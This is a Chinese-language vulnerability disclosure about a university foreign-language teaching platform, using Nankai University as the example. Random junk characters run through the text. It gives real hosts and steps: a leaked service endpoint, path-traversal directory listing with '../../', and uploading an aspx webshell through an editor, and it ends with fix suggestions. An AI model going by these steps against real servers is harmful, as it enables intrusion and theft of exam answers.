好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中% ?8 q2 S, Z2 C- u ~: f2 m3 U$ P0 L
# o9 L9 W8 U) U: n* |: i* v
详细说明:4 L- m2 f% p8 a; Z2 G5 U, |
0 B: H/ k+ \6 o8 Y2 ]8 A; t以南开大学的为例: / L* Y |* g, E8 @
http://222.30.60.3/NPELS
9 F) P. y' K4 H) C; `$ VNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址+ h- p6 l0 H0 F* ` {, A
<setting name="Update_CommonSvr_CommonService" serializeAs="String">3 G' j$ p ~- O6 @/ X+ p- M# ?" E
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>) v8 ]! N7 M1 s/ a
</setting>
f# L/ p6 m' q A* d及版本号- k7 h, Y5 w- ?3 U- @7 p' V
<add key="TVersion" value="1, 0, 0, 2187">( ~$ h9 ~$ q( R6 K. c
</add>& `3 f. @% H* c: t$ t# L" U
直接访问. ~) d- I, n7 I
http://222.30.60.3/NPELS/CommonService.asmx9 U/ I0 [8 q' X% ~* a2 [
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
0 b4 _4 E. A! `; f) e- Ohttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187: v2 g+ z& d" v9 `) c# \6 ^3 M
进一步列目录(返回的网页很大,可以直接 wget 下来)3 y5 S3 D1 T) w& \" H" Z
http://222.30.60.3/NPELS/CommonS ... List?version=../../
0 o/ h9 d, f, Y1 ~- V6 {5 ]: p3 x ' d% ^9 w$ X$ C' R
发现
! J h) M+ T) W) t7 Z1 w8 n# bhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
5 P ~9 G* {7 R' Z1 \2 Y可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头; w! s) ?; m$ ]6 e1 M: F* N4 [
上传后继续列目录找到木马地址直接访问即可9 ]$ C! G/ Y7 V+ M8 e, i% F. I
0 P* j+ c, \+ i! g: ROOXX
+ J. e$ o6 }7 H* }; n8 _/ U
; c) E8 q' a+ W9 z: PGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
; c! w' ]' G& T6 p/ ]' J) \漏洞证明: m% i+ _/ P% I6 P
0 p: ?: t; h3 M, [; x" v8 u列目录: G: m, p, ~9 _+ H9 E4 r
http://222.30.60.3/NPELS/CommonS ... List?version=../../
0 M* e" ?- q5 ?$ ~. O文件上传:
2 H. l3 U- ^. M5 P0 ehttp://222.30.60.3/npelsv/editor/editor.htm
5 v' j# C$ ]- Z/ I/ N% v
" Z' ~- s: A8 Y上传木马:
# n0 M# K' a8 t4 _8 H! Chttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx: Z# J3 m0 n ?# `4 ?; o) w3 G1 E
' z# H3 Y- }$ c( b
修复方案:
6 F1 [% t' p! U' B2 u' u好像考试系统必须使用 CommonService.asmx; q! |: J( L9 h# |# B9 u
最好配置文件加密或者用别的方式不让它泄露出来- }) {8 K- j3 D9 A
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样
# e0 b: u9 v4 k5 H |